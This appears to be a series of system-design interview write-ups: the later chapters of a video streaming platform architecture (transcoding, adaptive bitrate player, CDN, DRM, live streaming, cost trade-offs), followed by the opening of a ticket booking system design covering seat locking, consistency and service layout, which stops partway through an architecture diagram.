│  ┌──────────────┐  ┌──────────────┐  ┌──────────────┐                  │
│  │   Web App    │  │  Mobile App  │  │   Smart TV   │                  │
│  │  (React/Vue) │  │ (iOS/Android)│  │     App      │                  │
│  └──────┬───────┘  └──────┬───────┘  └──────┬───────┘                  │
└─────────┼──────────────────┼──────────────────┼──────────────────────────┘
          │                  │                  │
          └──────────────────┼──────────────────┘
                             │
                    ┌────────▼────────┐
                    │   API Gateway   │
                    │  (Rate Limiting,│
                    │   Auth, Routing)│
                    └────────┬────────┘
                             │
          ┌──────────────────┼──────────────────┐
          │                  │                  │
   ┌──────▼──────┐    ┌─────▼──────┐    ┌─────▼──────┐
   │   Video     │    │  Metadata  │    │   User     │
   │  Upload     │    │  Service   │    │  Service   │
   │  Service    │    │            │    │            │
   └──────┬──────┘    └─────┬──────┘    └─────┬──────┘
          │                 │                  │
          │                 │                  │
   ┌──────▼──────┐    ┌─────▼──────┐    ┌─────▼──────┐
   │  Transcode  │    │  Comment   │    │ Recommend. │
   │   Service   │    │  Service   │    │  Service   │
   │  (Queue)    │    │            │    │   (ML)     │
   └──────┬──────┘    └─────┬──────┘    └─────┬──────┘
          │                 │                  │
          │                 │                  │
┌─────────▼─────────────────▼──────────────────▼─────────────┐
│                     DATA LAYER                              │
│  ┌──────────┐  ┌──────────┐  ┌──────────┐  ┌──────────┐  │
│  │   SQL    │  │  NoSQL   │  │  Object  │  │  Cache   │  │
│  │   (RDS)  │  │(Cassandra│  │ Storage  │  │ (Redis)  │  │
│  │          │  │/DynamoDB)│  │   (S3)   │  │          │  │
│  └──────────┘  └──────────┘  └──────────┘  └──────────┘  │
└─────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────┐
│                    CDN LAYER                                 │
│  ┌──────────┐  ┌──────────┐  ┌──────────┐  ┌──────────┐  │
│  │  CDN Edge│  │  CDN Edge│  │  CDN Edge│  │  CDN Edge│  │
│  │   (US)   │  │   (EU)   │  │  (APAC)  │  │  (Others)│  │
│  └──────────┘  └──────────┘  └──────────┘  └──────────┘  │
└─────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────┐
│                  BACKGROUND JOBS                             │
│  ┌──────────┐  ┌──────────┐  ┌──────────┐  ┌──────────┐  │
│  │Thumbnail │  │  View    │  │Analytics │  │  CDN     │  │
│  │Generator │  │ Counter  │  │Processor │  │ Warmer   │  │
│  └──────────┘  └──────────┘  └──────────┘  └──────────┘  │
└─────────────────────────────────────────────────────────────┘

The backend never streams video.

It only gives the client permission and coordinates where to get it.

3. Why This Architecture Exists

If even 1% of video traffic hit the backend:

150 Tbps × 1% = 1.5 Tbps

No database, API layer, or VPC can survive that.

So:

Backend gives URLs
CDN gives bytes

This separation makes:

Video cheap
Latency low
Scaling trivial

4. Where the Frontend Fits

The frontend is not “just a UI”.
It is the playback brain.

It decides:

Which quality to use
When to prefetch
When to pause
When to seek
When to retry

The backend only provides:

The map (manifest)
The rules (DRM, region, quality caps)

This makes the platform:

Highly available
Resistant to partial failures
Cheap to operate

5. Failure Boundaries

This architecture enforces strong blast-radius isolation.

If this fails:

Component	What breaks
CDN edge	Player switches to another edge
Metadata DB	New playback may fail
Analytics	No metrics, playback continues
Kafka	Data piles up, playback continues

Playback is protected by design.

End of Chapter 2.

Chapter 3 — The Ingestion & Transcoding Pipeline (Merged Logic)

To handle millions of hours of uploads globally, the system must treat ingestion as an asynchronous, fault-tolerant factory.

3.1 Resumable Upload Flow

We avoid simple POST requests for large files. Instead, the Frontend utilizes the TUS Protocol or S3 Multipart Upload to ensure reliability.

Handshake: The Client requests a unique videoId and a pre-signed uploadUrl from the Upload Service.
Chunking: The Frontend Client breaks the video file into small, equal-sized chunks (e.g., 5MB each).
Transmission: Chunks are sent sequentially or in parallel with a checksum. If the connection drops, the client queries the server for the last successful byte offset and resumes.

3.2 Transcoding & Processing (The "Refinery")

Once the raw file is stored in Object Storage (S3), an event triggers the Transcoding Service.

The Transcoding Workflow:

Job Orchestration: A Message Queue (Kafka/SQS) holds transcoding tasks to decouple the upload from processing.
Parallel Workers: Distributed workers (using FFmpeg) pick up jobs to generate the Quality Ladder:
- Resolutions: 4K (2160p), 1080p, 720p, 480p, 360p, 240p.
- Codecs: H.264 (Compatibility), H.265/VP9 (Efficiency).
Segmenting: The workers break each version into 5-10 second segments (.ts or .m4s files) and generate the HLS/DASH Manifests (.m3u8 or .mpd).

3.3 Ancillary Background Jobs:

Thumbnail Generation: Extracting keyframes at specific intervals to generate "Preview Sprites" for the frontend seek-bar.
Content Moderation: Running ML models to scan for spam, copyright violations, or prohibited content.
CDN Warming: Proactively pushing the newly created manifest and initial segments to edge caches in regions where the creator has a high following.

3.4 Ingestion Architecture (ASCII)

┌─────────┐      ┌────────────────┐      ┌──────────────┐      ┌───────────────┐
│ Creator │ ───> │ Upload Service │ ───> │ Raw S3 Bucket│ ───> │ Message Queue │
└─────────┘      └────────────────┘      └──────────────┘      └───────┬───────┘
                                                                       │
┌───────────────┐      ┌──────────────┐      ┌─────────────────┐       │
│ Metadata DB   │ <─── │ Storage (CDN)│ <─── │ Transcode Worker│ <─────┘
└───────────────┘      └──────────────┘      └─────────────────┘

End of Chapter 3

Chapter 4 — The Frontend Player Engine & ABR Logic (The "Spine" Core)

This chapter addresses the "Brain" of the system: the Client-Side Player. We treat the player not as a UI component, but as a resource orchestrator that manages the hardware-software bridge.

4.1 Architecture of a Production-Grade Player

To prevent UI jank, we separate the playback logic from the rendering thread.

The Controller: Coordinates between the UI, the network, and the hardware buffer.
The Buffering Engine (MSE): Utilizes Media Source Extensions (MSE) to feed binary video segments into the browser's <video> tag.
The Decryption Module (EME): Handles Encrypted Media Extensions (EME) for DRM-protected content (Widevine/FairPlay).

4.2 Adaptive Bitrate (ABR) Heuristics

The player must decide which quality to download next without human intervention. We use a Hybrid Algorithm:

Throughput-Based: Measures the download speed of the last few segments.
Buffer-Based (BBA): Measures how many seconds of video are currently stored in RAM.
- Safe Zone (30s+): Stay at High Quality.
- Danger Zone (<10s): Aggressively switch to Low Quality to avoid a "Spinner."

4.3 Handling the "Thin Client" vs. "Thick Client"

Staff engineers must account for hardware diversity.

Feature	Thick Client (Desktop/PS5)	Thin Client (2018 Smart TV)
Logic	Runs full ABR heuristics locally.	Server dictates the bitrate.
Threading	Uses Web Workers for parsing.	Single-threaded, synchronous.
Buffering	Large 60s forward buffer.	Minimal 5-8s buffer to avoid RAM crash.

4.4 The Internal Player State Machine

The player does not just "Play" or "Pause." It transitions through complex states:

IDLE: Resource allocation.
LOADING: Fetching the Master Manifest (.m3u8).
STALLED: Buffer empty; UI shows "spinner," ABR shifts to lowest bitrate.
SEEKING: Clearing the current buffer and performing a "Cold Start" at the new timestamp.

4.5 Performance Optimization: The "Zero-Latency" Goal

VTT (Video Thumbnails): Fetching a single "Sprite Sheet" image for the seek-bar rather than individual frames.
Pre-fetching: Using <link rel="prefetch"> for the first 3 segments of the "Next Video" in a playlist.
Request Interleaving: Prioritizing the video chunk download over secondary metadata (like comments or likes) on slow networks.


    [ UI: React ] <--- (Events) --- [ Player State Manager ]
                                           ^
                                           |
    [ Adaptive Bitrate Logic ] <---> [ Segment Downloader ]
                                           |
    [ Media Source Extensions ] <----------+
             |
             v
    [ Hardware Decoder ] --> [ Screen ]

End of Chapter 4

Chapter 5 — Metadata DB, Schema, and Discovery (Merged Logic)

While the video bytes live on the CDN, the Metadata Plane handles the "Brain" of the platform: users, subscriptions, and video details. This chapter merges the SQL/NoSQL strategy from the Backend Doc with the Discovery requirements of the Frontend Spine.

5.1 The Data Modeling Strategy

We use a polyglot persistence model to balance Acid Transactions (for ownership) with High Availability (for views/likes).

Primary Database (PostgreSQL/Spanner)

Users Table: userId, email, channelName, subscriptionLevel.
Videos Table: videoId, creatorId, title, description, manifestUrl, thumbnailUrL, status (Processing/Live/Private).
Subscriptions: (followerId, creatorId) with composite unique index.

High-Frequency Metadata (Cassandra/BigTable)

View Counts & Likes: These require massive write-throughput. We use an Eventual Consistency model where counts are buffered in Redis and flushed to Cassandra.
Comments: Stored as a partitioned wide-column store by videoId.

5.2 Discovery & Search Architecture

The Frontend "Home Feed" and "Search Bar" are powered by a specialized indexing layer.

Search Index (Elasticsearch/OpenSearch):
- Whenever a video is transcoded, the Metadata Service pushes a document to Elasticsearch.
- Insight: We use "Fuzzy Matching" and "Autocomplete" to handle typos in the frontend search bar.
Recommendation Engine:
- Feature Store: Collects user signals (watch time, skipped videos, likes).
- Ranking Service: A machine learning model that generates a list of videoIds for the user’s home feed.

5.3 Scalability Trade-offs

Decision	Choice	Why?
Video ID	UUID/Snowflake	Prevents ID predictable scraping and allows distributed generation.
Consistency	Eventual	A 1-second delay in "Like" count visibility is better than a system crash during a viral video.
Database Sharding	By VideoId	Ensures that metadata for a single viral video doesn't overwhelm a single DB node.

5.4 The API Handshake (Frontend Fetching)

The Frontend does not "join" tables. It calls a BFF (Backend-for-Frontend) or GraphQL Gateway:

GET /v1/video/:id returns a pre-aggregated JSON object containing video details, creator info, and the HLS manifest URL.
Prefetching Logic: When the user hovers over a thumbnail, the frontend pre-warps the Metadata Cache to make the actual click feel instant.

[ Metadata Flow ]

[ Client ] <---(GraphQL/REST)---> [ Metadata Service ]
                                         |
               +-------------------------+-------------------------+
               |                         |                         |
        [ PostgreSQL ]            [ Redis Cache ]           [ Elasticsearch ]
        (Users/Permissions)       (Hot Metadata)            (Video Search)

End of Chapter 5

Chapter 6 — State Management & Multi-Device Resume Sync

In a global platform, "State" exists in three places: the Local UI, the Video Player, and the Cloud. Maintaining a seamless "Continue Watching" experience requires a sophisticated synchronization strategy.

6.1 The State Hierarchy

Volatile State (UI): Search queries, hover states, menu toggles. Stored in React State / Signals.
Player State: Current playback timestamp, volume, selected quality. Stored in a specialized Player Controller.
Persistent State: Watch history, "Resume" points, User preferences. Stored in the Cloud.

6.2 The "Resume-Sync" Pipeline

How does Netflix know you stopped at 12:45 on your TV and show it on your phone instantly?

Client-Side Heartbeat: The Player Engine emits a "Pulse" event every 5-10 seconds.
Throttling & Batching: To avoid DDOSing the backend, the Frontend batches these pulses. We don't send an API call for every second played.
The Write-Ahead Log (WAL): The Backend receives the pulse and appends it to a high-speed log (Kafka).
The Sync Store: A high-availability Key-Value store (Redis/Cassandra) updates the last_watched_pos for the userId:videoId pair.

6.3 Handling Conflicts (The Edge Case)

If a user is watching on two devices simultaneously:

Conflict Resolution: We follow a Last-Write-Wins (LWW) or Max-Timestamp logic.
Race Conditions: If the user closes the app suddenly, we utilize the navigator.sendBeacon() API or a Service Worker to send a "Final Pulse" before the process is killed.

6.4 Local State Persistence (Offline Mode)

For the "Partial Offline Download" requirement:

IndexedDB: We store downloaded video segments and their metadata in the browser's IndexedDB.
Background Sync: When the user goes back online, a Service Worker triggers a background sync to upload any "Watch History" accumulated while offline.

6.5 State Management Architecture (ASCII)

[ Device A ]                                [ Device B ]
     |                                           |
(Heartbeat: 10s)                            (Fetch Resume)
     |                                           |
     v                                           v
[ API Gateway ] ───> [ Redis / Cassandra ] <── [ Metadata API ]
     |                  (Resume Store)
     +───> [ Kafka ] ───> [ Analytics DB ]

End of Chapter 6

Chapter 7 — Global Distribution & CDN Strategy

We recognize that the "Cloud" is too slow for video. To achieve a <500ms TTFF (Time to First Frame), we must move the data as close to the user's ISP as possible using a multi-tiered distribution strategy.

7.1 Multi-Tier CDN Architecture

We do not rely on a single origin. We use a layered approach:

Origin Server (S3): The source of truth for all transcoded segments.
Regional Edges: Larger caches that store 80% of popular content within a geographic region (e.g., US-East).
Local Edge (PoPs): Small, highly distributed servers inside local ISPs. These store the "Top 10%" viral videos to ensure zero-buffering for the most-watched content.

7.2 Cache Invalidation vs. Short TTLs

Video segments are Immutable. Once segment_101.ts is created, it never changes.

Strategy: We set an infinitely long TTL for video segments.
The Manifest Problem: Unlike segments, the Manifest (.m3u8) is dynamic (especially for Live). We use a short TTL (1-2s) for manifests or a Cache-Control: no-cache strategy to ensure the player always knows the latest state of the stream.

7.3 Geo-Routing & Request Steering

When a user hits "Play," the system must decide which CDN to use:

Anycast DNS: Routes the user to the nearest IP address.
Latency-Based Routing: The Backend Metadata API provides a manifest URL pointing to the CDN with the lowest current latency for that user's specific IP.

7.4 Content Steering (Fault Tolerance)

What if a major CDN provider (like Akamai or Cloudflare) goes down?

Client-Side Steering: The manifest contains URLs for multiple CDNs. If the Frontend Player detects a 5xx error or a timeout from CDN A, it automatically fails over to CDN B without stopping the video.

7.5 The "Hot" Video Problem (Thundering Herd)

When a viral video is released, millions of people request the same segment at the same millisecond.

Request Collapsing: The CDN Edge ensures that if 1,000 requests come in for the same segment, it only sends one request back to the origin, then broadcasts the result to all 1,000 users.

7.6 Distribution Architecture (ASCII)

[ Origin S3 ]
      |
      +-----> [ Regional Cache (London) ]
      |              |
      |              +-----> [ Local PoP (UK ISP) ] ---> [ Viewer A ]
      |              +-----> [ Local PoP (EU ISP) ] ---> [ Viewer B ]
      |
      +-----> [ Regional Cache (Mumbai) ]
                     |
                     +-----> [ Local PoP (India ISP) ] --> [ Viewer C ]

End of Chapter 7

Chapter 8 — Security, DRM Handshake & Access Control (Merged)

For a video platform, security is more than just an Auth token; it is an end-to-end chain of trust that protects billions of dollars in intellectual property while ensuring seamless user access.

8.1 The Access Control Handshake

We use a decoupled security model where the Backend defines the policy and the CDN enforces it.

Authentication: Users authenticate via OAuth2/OIDC. The frontend stores a short-lived JWT in a Secure; HttpOnly cookie.
Authorization: When a user clicks "Play," the Frontend requests a Signed URL or Cookie from the Backend.
CDN Enforcement: The CDN Edge validates the signature (HMAC) on the request. If the signature is expired or the IP doesn't match, the request is rejected at the edge, saving origin bandwidth.

8.2 Digital Rights Management (DRM)

To prevent stream ripping and unauthorized screen recording, we implement a DRM Handshake using the browser's EME (Encrypted Media Extensions).

The Components:
- CDM (Content Decryption Module): A sandbox in the browser/OS that handles decryption keys.
- License Server: A backend service that verifies the user's right to watch and issues a decryption key.
The Flow:
1. The Player detects encrypted segments in the manifest.
2. The Player sends a License Request (containing the device's hardware ID) to our License Server.
3. The Server returns an encrypted key.
4. The CDM decrypts the pixels directly in the GPU memory, ensuring the "Clear Text" video never touches the Javascript heap.

8.3 Protecting the API & Metadata

Rate Limiting: Using a Leaky Bucket algorithm at the API Gateway to prevent "View Count" manipulation and scraping.
CORS & CSRF: Strict Origin policies to ensure only our official web/mobile clients can initiate playback.
Geofencing: Backend checks the user's Geo-IP against the video's distribution rights before issuing a Signed URL.

8.4 Security Architecture (ASCII)

[ Browser / CDM ]          [ API Gateway ]          [ License Server ]
       |                          |                         |
(1) Get Signed URL -------------> | (Verify JWT & Rights)   |
       | <--- (Signed URL) -------|                         |
       |                          |                         |
(2) Request Segments (CDN)        |                         |
       |                          |                         |
(3) EME License Request ----------------------------------> |
       | <--- (Encrypted Key) ----------------------------- |
       |                          |                         |
(4) Decrypt & Render              |                         |

End of Chapter 8

Chapter 9 — Real-time Engagement & Live Streaming Deep-Dive

Live streaming is the "final boss" of video engineering. It requires shifting from a "pull-based" VOD model to a "push-based" real-time model where latency is measured in milliseconds, not seconds.

9.1 The Live Ingestion Pipeline

Unlike VOD, where we transcode the whole file, Live requires Streaming Transcoding.

Ingestion (RTMP/SRT): The creator's encoder (like OBS) pushes a continuous stream to our Live Ingest Service.
Transmuxing: The backend converts the incoming stream into tiny LL-HLS (Low-Latency HLS) or DASH chunks (typically 1-second segments).
The Live Edge: The CDN must be optimized to never cache the "Manifest" for more than a fraction of a second, ensuring users are always at the "Live Edge."

9.2 Real-time Engagement (Comments & Likes)

To handle viral moments (e.g., a sports final with 10M+ viewers), we cannot use standard polling.

WebSocket Gateways: Maintain persistent connections for the "Live Chat."
Pub/Sub (Kafka/Redis): When a comment is posted:
1. The Comment Service writes to a DB.
2. The event is published to a Redis Pub/Sub topic.
3. The WebSocket Gateway "fans out" the message to all connected viewers of that specific videoId.
Throttling & Sampled Likes: For massive streams, we don't show every single "Like" in real-time. We aggregate and sample at the edge to prevent the UI from becoming a resource hog.

9.3 DVR & Catch-up Capability

Systems allow users to "Rewind" a live stream.

Rolling Window: The CDN and Origin keep the last 2 hours of segments available.
Manifest Manipulation: The Frontend Player detects the EXT-X-PLAYLIST-TYPE:EVENT tag and allows the seek-bar to move backward into the cached segments while the stream continues at the edge.

9.4 Challenge: The "Herd" Effect

When the stream ends, 10 million people hit the "Home" button at once.

Solution: We use Staggered Reconnection and Jitter in our frontend retry logic to ensure that a massive audience doesn't crash the discovery services upon exit.

9.5 Live & Engagement Architecture (ASCII)

[ Creator ] --(RTMP)--> [ Ingest ] --+--> [ Transcoder ] --(HLS)--> [ CDN ]
                                     |
                                     +--> [ Frame Capture ] (Thumbnails)

[ Viewer ] <--(WS)--> [ Gateway ] <--(Pub/Sub)-- [ Engagement Service ]
    |                                                |
    +----(GET/POST)----------------------------------+

End of Chapter 9

Chapter 10 — Cost Model, Performance Trade-offs, and Final Architecture

In a interview, the final goal is to prove that the system is not just technically sound, but economically viable. This chapter explains the "Business Logic" of our architectural choices.

10.1 The Economic Model of Video

The biggest costs in this system are Bandwidth, CDN Egress, and Storage. Everything else (CPU for APIs, Database lookups) is negligible by comparison.

The "Thick Client" Strategy: By moving ABR logic and buffering to the frontend, we utilize the user's local CPU for free, rather than paying for server-side logic.
Storage Tiering: We use S3 Intelligent-Tiering. Raw videos move to "Glacier" (Cold) after 30 days, while transcoded fragments stay in "S3 Standard" (Hot) for CDN delivery.

10.2 Performance Trade-offs (Decisions)

Decision	Choice	The Trade-off
Consistency	Eventual	We sacrifice perfect counters (Likes/Views) for absolute availability of playback.
Latency	Buffering	We intentionally delay playback start by 2-3 segments to ensure a "Stall-free" experience.
Resolution	Transcoding	We spend money upfront on transcoding to save money on bandwidth later (by serving smaller files).

10.3 Summary of the "Sweet Spot" Architecture

This design succeeds because it separates concerns into three distinct layers:

The Client (Spine): Controls reality. It handles the network's unpredictability and manages the hardware resources.
The Edge (CDN): Controls scale. It brings the bits to the user's doorstep, bypassing the slow public internet.
The Backend (Foundation): Controls policy. It handles metadata, security keys, and the heavy lifting of transcoding.

10.4 Final Conclusion for the Interview

"We have built a system that is Offline-First, Global by Design, and Economically Optimized. By leveraging a metadata-driven ingestion pipeline and a sophisticated client-side player engine, we ensure that the platform remains performant for the next 100M users, regardless of their device or network speed."

📄 Document Audit Checklist

[x] Ingestion: Resumable, chunked, and multi-bitrate.
[x] Playback: ABR, MSE/EME, and Frame-accurate seeking.
[x] Discovery: Decoupled metadata DB with search indexing.
[x] Scale: Multi-tier CDN and Edge-caching.
[x] Security: Signed URLs and DRM Handshake.
[x] Consistency: Eventual consistency for engagement; Strong for auth.

End of Chapter 10.

Chapter 11 — The End-to-End Playback Lifecycle: A Narrative Walkthrough

To tie the previous 10 chapters together, we will trace the journey of a single user (Alice) watching a single video (4K "Nature Documentary") from the moment she hits "Play" to the moment she switches devices.

11.1 Phase 1: The Handshake (Chapters 5 & 8)

Action: Alice clicks the "Play" button on her React-based Discovery Feed.
The Logic: 1. The Frontend calls the Discovery API (Chapter 5) to fetch video metadata. 2. Simultaneously, the Security Service (Chapter 8) issues a Signed Manifest URL and a DRM License Challenge. 3. The browser receives a JSON response containing the Master Manifest URL (.m3u8).

11.2 Phase 2: Orchestration & ABR (Chapter 4)

Action: The Player Controller (Chapter 4) takes over.
The Logic:
1. The player downloads the Master Manifest.
2. The ABR Logic Unit (Chapter 4) detects Alice is on a 50Mbps connection and chooses the 4K variant.
3. The Segment Downloader maps the 4K variant to a specific CDN Edge location (Chapter 7).

11.3 Phase 3: The Data Flow (Chapter 3 & 7)

Action: Pixels move from the Edge to the Screen.
The Logic:
1. The browser requests segment_001.ts from the CDN.
2. The CDN Edge (Chapter 7) serves the file from its SSD cache (originally generated by the Transcoder in Chapter 3).
3. The binary data is fed into the Media Source Extensions (MSE) buffer (Chapter 4).
4. The CDM/DRM Module (Chapter 8) decrypts the data in the hardware, and Alice sees the first frame.

11.4 Phase 4: Reality Reporting (Chapter 6 & 9)

Action: The system "remembers" Alice’s experience.
The Logic:
1. Every 10 seconds, the Frontend emits a Heartbeat (Chapter 6).
2. This pulse updates the Resume Store (Chapter 6) so Alice can switch to her iPad later.
3. High-volume signals like "Likes" or "Real-time Views" flow through Kafka to update the global counters (Chapter 9).

11.5 Phase 5: The Handover

Action: Alice closes her laptop and opens her phone.
The Logic:
1. The Phone app calls the Metadata API.
2. It receives the last_watched_pos from the Resume Store.
3. The Player Engine seeks to 12:45, and the cycle repeats instantly.

Summary: The Core Invariant

This narrative proves that our architecture is not just a list of services, but a synchronized loop.

The Backend defines what can be watched.
The CDN handles the weight of the bits.
The Frontend owns the decision-making logic.

End of Chapter 11.

Ticket Booking System (BookMyShow) High-level System Design

Arghya Majumder — Sun, 11 Jan 2026 15:13:29 +0000

High-Level Design: Ticket Booking System (BookMyShow)

Problem Statement & Requirements
High-Level Architecture
Component Architecture
Data Flow
API Design & Communication Protocols
Database Design
Caching Strategy
State Management
Performance Optimization
Error Handling & Edge Cases
Interview Cross-Questions
Accessibility (A11y)
Mobile & Touch Considerations
Security Deep Dive
Comprehensive Testing Strategy
Offline Support & PWA
Real-time Implementation
Virtual Waiting Room
Analytics & Business Metrics
Internationalization (i18n)
Disaster Recovery

1. Problem Statement & Requirements

Problem Statement

Design a scalable ticket booking system similar to BookMyShow that allows users to browse movies/events, select seats, and complete bookings with proper seat locking mechanisms to prevent double booking in high-concurrency scenarios.

Functional Requirements

Browse & Search: Users can browse movies, events, theaters, and showtimes
Seat Selection: Interactive seat map showing available/booked/locked seats
Seat Locking: Temporary hold on seats during selection (5-10 minutes)
Booking: Create booking with selected seats
Payment: Process payment with multiple payment methods
Confirmation: Generate booking confirmation and e-tickets
Cancellation: Cancel bookings and process refunds
User Management: Authentication, booking history, profiles

Non-Functional Requirements

High Availability: 99.9% uptime
Low Latency: Seat selection < 200ms, booking < 1s
Consistency: No double booking (strong consistency for seat allocation)
Scalability: Handle 10K concurrent users per show
Fault Tolerance: Graceful degradation during failures
Security: Secure payment processing, PCI DSS compliance

Constraints & Assumptions

Peak load during new movie releases (100K+ concurrent users)
Average seats per show: 200-500
Seat lock timeout: 10 minutes
Payment timeout: 5 minutes after seat lock
Support 1000+ theaters, 10K+ shows daily

2. High-Level Architecture

┌─────────────────────────────────────────────────────────────────────────┐
│                           CLIENT TIER                                    │
│  ┌─────────────┐  ┌─────────────┐  ┌─────────────┐                     │
│  │   Web App   │  │  Mobile App │  │   Admin     │                     │
│  │  (React)    │  │ (iOS/And.)  │  │   Portal    │                     │
│  └──────┬──────┘  └──────┬──────┘  └──────┬──────┘                     │
└─────────┼─────────────────┼─────────────────┼───────────────────────────┘
          │                 │                 │
          └─────────────────┼─────────────────┘
                            │
          ┌─────────────────▼─────────────────┐
          │      API Gateway (Kong/NGINX)      │
          │  - Rate Limiting                   │
          │  - Load Balancing                  │
          │  - Authentication                  │
          └─────────────────┬─────────────────┘
                            │
    ┌───────────────────────┼───────────────────────┐
    │                       │                       │
┌───▼────────┐  ┌──────────▼────────┐  ┌──────────▼────────┐
│  Catalog   │  │   Booking Service  │  │ Payment Service   │
│  Service   │  │   (CRITICAL)       │  │                   │
│            │  │  - Seat Locking    │  │  - Payment Gateway│
│  - Movies  │  │  - Reservation     │  │  - Webhook Handler│
│  - Theaters│  │  - Booking Mgmt    │  │  - Refunds        │
│  - Shows   │  └──────────┬────────┘  └──────────┬────────┘
└─────┬──────┘             │                      │
      │                    │                      │
      │    ┌───────────────▼──────────┐  ┌────────▼────────┐
      │    │  Notification Service    │  │  User Service   │
      │    │  - Email                 │  │  - Auth         │
      │    │  - SMS                   │  │  - Profile      │
      │    │  - Push Notifications    │  │  - History      │
      │    └──────────────────────────┘  └─────────────────┘
      │
┌─────┴──────────────────────────────────────────────────────────────┐
│                      DATA & CACHE LAYER                             │
│                                                                      │
│  ┌────────────┐  ┌────────────┐  ┌────────────┐  ┌──────────────┐ │
│  │ PostgreSQL │  │   Redis    │  │ Elasticsearch│ │  S3/CDN     │ │
│  │  (Primary) │  │ Distributed│  │   (Search)   │  │  (Assets)   │ │
│  │            │  │   Cache +  │  │              │  │             │ │
│  │  - Users   │  │Seat Locking│  │  - Movies    │  │  - Images   │ │
│  │  - Bookings│  │            │  │  - Theaters  │  │  - Tickets  │ │
│  │  - Seats   │  └────────────┘  └──────────────┘  └─────────────┘ │
│  │  - Payments│                                                     │
│  └────────────┘                                                     │
│                                                                      │
│  ┌────────────┐  ┌────────────┐                                    │
│  │  Message   │  │   Event    │                                    │
│  │   Queue    │  │   Store    │                                    │
│  │  (Kafka)   │  │  (Events)  │                                    │
│  └────────────┘  └────────────┘                                    │
└──────────────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────────────┐
│                    MONITORING & OBSERVABILITY                         │
│  - Prometheus/Grafana  - ELK Stack  - Distributed Tracing (Jaeger) │
└──────────────────────────────────────────────────────────────────────┘

System Invariants

These are the non-negotiable rules the system must always satisfy.

Every service, cache, and database operation must preserve these invariants.

Seat Ownership Invariants

A seat can be in exactly one of the following states at any time: AVAILABLE → LOCKED → BOOKED
A seat can never be BOOKED unless it was previously LOCKED.
A seat lock can belong to exactly one user session.
A seat lock must expire automatically if not converted to a booking.

Payment & Booking Invariants

A booking can never exist without a corresponding successful payment.
A payment can be applied to exactly one booking (idempotency enforced).
A booking confirmation must be atomic: either both seat and payment succeed, or neither does.

Concurrency Invariants

Two users can never hold a lock for the same seat at the same time.
Two bookings can never exist for the same seat.
At most one active booking is allowed per seat.

Failure Safety Invariants

No seat is permanently blocked due to client or server failure.
A failed or abandoned checkout always results in seat lock expiry.
Payment success must never result in seat loss or double booking.

These invariants ensure no revenue loss, no ghost bookings, and no oversold seats, even under extreme concurrency.

Consistency Model

Different parts of the system use different consistency guarantees based on business risk and performance trade-offs.

Domain	Consistency	Rationale
Seat locking	Strong	Prevents two users holding the same seat
Seat booking	Strong (ACID)	No overselling allowed
Payments	Strong	Financial correctness
Seat availability display	Eventual	Small staleness acceptable
Show listings	Eventual	Cached for performance
Search results	Eventual	Inaccurate counts acceptable
User sessions	Eventual	Redis TTL based
Notifications	Eventual	Non-blocking

Implementation Strategy

Seat Locking

Redis SETNX ensures only one user can lock a seat.
TTL ensures automatic release if user drops.
Database enforces final uniqueness using a (show_id, seat_id) unique constraint.

Booking Finalization

Payment + seat booking happens inside a database transaction.
If payment succeeds but seat commit fails → refund triggered.
If seat commit succeeds but payment fails → booking rolled back.

Availability Display

Seat availability is served from cache and may be slightly stale.
Locking and booking always hit authoritative Redis + DB.

This hybrid model guarantees:

Strong correctness where money and seats are involved
High scalability where only discovery and UI are involved

3. Component Architecture

3.1 Frontend Components

Seat Selection Component

┌─────────────────────────────────────────────────────┐
│          Seat Selection Interface                   │
│                                                      │
│  ┌────────────────────────────────────────────┐    │
│  │            SCREEN THIS WAY                  │    │
│  └────────────────────────────────────────────┘    │
│                                                      │
│  Legend: 🟩 Available  🟨 Selected  🟥 Booked      │
│          ⏰ Locked (by others)                      │
│                                                      │
│  Row A:  [🟩][🟩][🟥][🟥][🟩][🟩][🟩][🟩]        │
│  Row B:  [🟩][🟨][🟨][🟩][⏰][⏰][🟩][🟩]        │
│  Row C:  [🟥][🟥][🟥][🟥][🟩][🟩][🟩][🟩]        │
│                                                      │
│  Selected: B2, B3 (2 seats)                         │
│  Price: $30.00                                      │
│  Time Remaining: 09:45                              │
│                                                      │
│  [Cancel]              [Proceed to Payment]         │
└─────────────────────────────────────────────────────┘

State Management:
- Local State: selectedSeats[], seatMap{}
- WebSocket: Real-time seat availability updates (optional)
- Polling: Refresh seat status every 5-10s
- Optimistic Updates: Immediate UI feedback

Payment Component

┌─────────────────────────────────────────────────────┐
│          Payment Gateway                             │
│                                                      │
│  Booking Summary:                                   │
│  Movie: Avengers Endgame                            │
│  Theater: PVR Cinemas, Mall Road                    │
│  Seats: B2, B3                                      │
│  Amount: $30.00                                     │
│                                                      │
│  Payment Method:                                    │
│  ( ) Credit/Debit Card                              │
│  ( ) UPI                                            │
│  ( ) Net Banking                                    │
│  (•) Wallet                                         │
│                                                      │
│  Time Remaining: 04:45                              │
│                                                      │
│  [Pay Now]                                          │
└─────────────────────────────────────────────────────┘

Flow:
1. Seats locked → Payment UI shown
2. Payment initiated → Backend validation
3. Payment processing → External gateway
4. Success → Confirm booking, release lock
5. Failure → Release seat lock, retry option

3.2 Backend Services Architecture

Booking Service (Core Component)

┌───────────────────────────────────────────────────────┐
│              BOOKING SERVICE                          │
│                                                        │
│  ┌──────────────────────────────────────────────┐   │
│  │        Seat Lock Manager (CRITICAL)           │   │
│  │                                                │   │
│  │  acquireLock(showId, seatIds[], userId)      │   │
│  │  - Check availability                         │   │
│  │  - Set Redis lock (10 min TTL)               │   │
│  │  - Store in seat_locks table                 │   │
│  │                                                │   │
│  │  releaseLock(lockId)                          │   │
│  │  - Remove Redis lock                          │   │
│  │  - Update seat_locks status                   │   │
│  │                                                │   │
│  │  extendLock(lockId)                           │   │
│  │  - Refresh Redis TTL                          │   │
│  └──────────────────────────────────────────────┘   │
│                                                        │
│  ┌──────────────────────────────────────────────┐   │
│  │        Booking Manager                        │   │
│  │                                                │   │
│  │  createBooking(lockId, paymentDetails)       │   │
│  │  - Validate lock ownership                    │   │
│  │  - Create booking record                      │   │
│  │  - Update seat status (BOOKED)               │   │
│  │  - Trigger payment                            │   │
│  │                                                │   │
│  │  confirmBooking(bookingId, paymentId)        │   │
│  │  - Mark booking CONFIRMED                     │   │
│  │  - Release lock                               │   │
│  │  - Generate e-ticket                          │   │
│  │  - Send notification                          │   │
│  └──────────────────────────────────────────────┘   │
│                                                        │
│  ┌──────────────────────────────────────────────┐   │
